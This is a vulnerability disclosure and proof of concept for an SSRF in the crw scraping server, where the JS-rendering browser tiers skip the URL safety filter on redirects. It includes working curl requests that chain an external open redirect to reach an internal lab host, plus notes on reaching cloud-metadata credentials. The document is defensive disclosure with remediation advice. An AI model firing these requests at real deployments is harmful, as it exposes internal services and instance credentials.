
PoC — SSRF via JS-rendering tier bypass of the URL safety filter in crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5).
CVE status: requested, pending assignment. This finding is published as GHSA-5jp3-339h-vxqw. On CVE assignment this repository is renamed
CVE-YYYY-NNNNN-crw-PoCand this banner is replaced with the CVE link.
| Researcher | Dostxodjayev Abdullox (@squeeze440) |
| Advisory | GHSA-5jp3-339h-vxqw |
| CVSS 3.1 | 7.5 (High) |
| Weakness | CWE-918 |
Summary
In crw-server, the SSRF allow/deny-list (crw_core::url_safety) is enforced only once, against the caller-supplied url, before the request is dispatched to a renderer; the CDP-driven JS-rendering tiers (LightPanda — the default JS renderer — and Chrome) then drive the target page via Page.navigate and follow every subsequent redirect, JS-triggered navigation, and in-page XHR/fetch entirely inside the browser's own network stack, with no further call into url_safety at any point, allowing an authenticated (or, on a default no-key deployment, unauthenticated) caller who sets renderJs:true to pivot the crawler into RFC1918/loopback/link-local address space via a single external open redirect and read back the internal service's response in the API response body.
Product
fastCRW / crw — crw-server (REST API, also reachable identically through the in-process crw-mcp MCP tool layer, which calls the same crw_server::routes::mcp::call_tool code path).
Tested Version
Commit 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, tip of main at test time), built and run via the project's own docker-compose.yml --profile heavy.
Estimated CVSS v3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (High)
PR:N: the shipped self-host default (config.docker.toml) has no [auth]/api_keys section, matching the "open by design" default already documented in GHSA-qq8c-fch4-cxq7. A deployment that does configure API keys downgrades this to PR:L (any single authenticated tenant can still pivot the shared engine into whatever internal network it runs on) — the bug is not mitigated by adding keys, only re-gated.I:N/A:N: the PoC demonstrates read-back of an internal HTTP response (confidentiality). No write/state-changing action against an internal target was exercised or is claimed.S:U: disclosure is mediated entirely through the vulnerable component's own API response channel.Details
Root cause: the CDP/browser renderer path never calls crw_core::url_safety after the one check done at the route layer.
crates/crw-server/src/routes/scrape.rs:29-34 (identically in crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25) — the only SSRF check in the entire request lifecycle for a JS-rendered request: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) runs once against the caller's literal url, before the renderer is ever invoked.crates/crw-renderer/src/cdp.rs:2621-2631 — fetch_inner's work future sends Page.navigate with the raw url straight to the CDP endpoint (shared by both the chrome and lightpanda tiers — both speak CDP through this same function). Chrome/LightPanda then performs its own DNS resolution and follows any server-side redirect, <meta http-equiv="refresh">, or JS location change internally. No call into url_safety exists anywhere in cdp.rs.crates/crw-renderer/src/blocklist.rs:1-124 — the only per-request Fetch.requestPaused interception logic that runs during a CDP render (wired in cdp.rs around lines 930-1002). It filters ad/tracker hosts and blocked resource types (images, fonts, etc.) for bandwidth/noise reasons only — it never checks a request's destination against private/loopback/link-local ranges.crates/crw-crawl/src/single.rs:559-569 — the only place the post-navigation final_url is inspected at all. redirect_is_material() only decides whether to attach a cosmetic "redirected_to: <url>" string to data.warnings (to flag "you got the wrong page," per the comment referencing northernair.ca) — it never calls url_safety::validate_safe_url* and never fails the request.crates/crw-renderer/src/http_only.rs:291 — the plain-HTTP (non-JS) tier correctly wraps its reqwest::Client in crw_core::url_safety::safe_redirect_policy(), which re-validates (with DNS resolution) every redirect hop. This is exactly the protection missing from the CDP tiers. Dynamically confirmed: the same PoC request with renderJs:false is correctly rejected ("error following redirect", see baseline screenshot).Proof of Concept
Dynamically confirmed against the project's own docker-compose.yml --profile heavy stack (crw + lightpanda + chrome, built from the tested commit).
crw/chrome/lightpanda (docker network: source_default), at private address 172.19.0.6 — a plain nginx container serving a page with realistic internal-looking content (title "Internal Ops Console", a session-token-shaped value).curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"http://172.19.0.6/","renderJs":false}'
→ {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
→ {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
evidence/ssrf_baseline_blocked.png)curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — the internal server's content is returned to the caller; the tool's own redirected_to warning shows it knows it followed the request to the blocked address and returns the content anyway. (screenshot: evidence/ssrf_chrome_tier_bypass.png)"renderJs":true alone — the ordinary way a caller asks for JS rendering): the ladder picked lightpanda ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") and returned the same internal content, proving both CDP tiers (not just chrome) share the gap.https://httpbin.org/redirect-to stands in for "any externally reachable URL that 302s"; a real attacker would host this on their own domain. 172.19.0.6 stands in for any address in the ranges url_safety is designed to block (RFC1918, loopback, link-local/169.254.169.254 cloud metadata, .internal) — the bypass happens before any range check runs (the CDP path never calls url_safety at all), so it is not specific to this one blocked range. A live cloud-metadata endpoint was not available in this local lab, so that specific target was not directly exercised; it is a direct, code-traced extrapolation, not an untested claim.
Impact
Any caller able to reach /v1/scrape, /v2/scrape, /v1/crawl, /v1/map, /v1/extract, their batch/v2 equivalents, or the equivalent MCP tools — with renderJs:true — can use the target crw deployment as an open internal-network proxy: read responses from the deployer's loopback services, RFC1918-addressed internal services (databases, admin panels, internal APIs), and — on any cloud-hosted deployment — the instance's cloud-metadata endpoint (169.254.169.254), potentially recovering IAM/instance credentials. On the shipped self-host default (no API keys configured) this requires no authentication at all.
Weaknesses
Remediation
The Fetch.requestPaused interception pump already wired into the CDP tiers (crates/crw-renderer/src/cdp.rs, driven by Blocklist in blocklist.rs) is the natural choke point: extend it (or add a sibling check invoked from the same pump, for both the chrome and lightpanda backends) to call crw_core::url_safety::validate_safe_url against every intercepted request's URL — covering the initial navigation, every redirect hop, every JS-driven navigation, and every same-page XHR/fetch/iframe load — and Fetch.failRequest anything that resolves to a blocked host, matching what safe_redirect_policy() already does for the http_only tier. Note this means Fetch.enable/interception can no longer stay conditionally off when SSRF protection depends on it running. As defense in depth, also turn the existing post-navigation final_url check in crates/crw-crawl/src/single.rs:559-569 from a cosmetic warnings entry into a hard failure via url_safety::validate_safe_url_resolved, to catch whatever slips past interception (e.g. a very first response racing Fetch.enable's setup).
Credit
Dostxodjayev Abdullox
Reporting Channel
.github/SECURITY.md (rendered at https://github.com/us/crw/security): GitHub Private Vulnerability Reporting is the preferred channel ("open a report from the Security tab of this repository"), with [email protected] as the email fallback. Confirmed genuinely live and open for this repo: gh api repos/us/crw/private-vulnerability-reporting --jq .enabled → true, and a live "Report a vulnerability" button was observed on https://github.com/us/crw/security (linking to https://github.com/us/crw/security/advisories/new). Scope statement on that page explicitly includes "The crw-server binary and all workspace crates in this repository" and "The MCP server (crw-mcp)"; it excludes "Third-party headless browsers (Chromium, Lightpanda) invoked by the renderer" — this finding is about crw's own missing validation around the CDP navigation call, not a bug in Chromium/Lightpanda itself, so it is in scope.